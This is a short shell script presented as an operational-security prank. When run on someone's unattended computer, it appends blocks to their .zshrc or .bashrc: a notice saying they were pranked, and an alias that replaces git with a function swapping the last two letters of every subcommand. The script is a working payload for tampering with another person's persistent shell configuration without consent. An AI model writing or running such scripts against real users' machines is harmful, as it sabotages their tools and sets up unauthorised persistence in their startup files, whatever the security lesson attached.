back

gitTranspose.sh

function envFile() {
  if [[ $SHELL =~ "zsh" ]]; then
    echo "${HOME}/.zshrc"
  else
    echo "${HOME}/.bashrc"
  fi
}

function isLinux() {
  uname -s | grep -i "linux" > /dev/null
}

function isMac() {
  uname -s | grep -i "darwin" > /dev/null
}

echo "
# You've been pranked by a friend or coworker!
#
# It seems you left a computer logged-in and unattended, and
# someone decided to teach you a lesson in Operational
# Security!
#
# See https://pwn.devetry.com for more information
# ----- Beginning of modifications -----" >> $(envFile)

echo '
function git_alias() {
  command="$1"
  shift 1;
  misspelled=$(echo $command | python -c "import sys; w = sys.stdin.read().strip(); print(w[:-2] + w[-1] + w[-2])")
  \git $misspelled "$@"
}

alias git=git_alias
' >> $(envFile)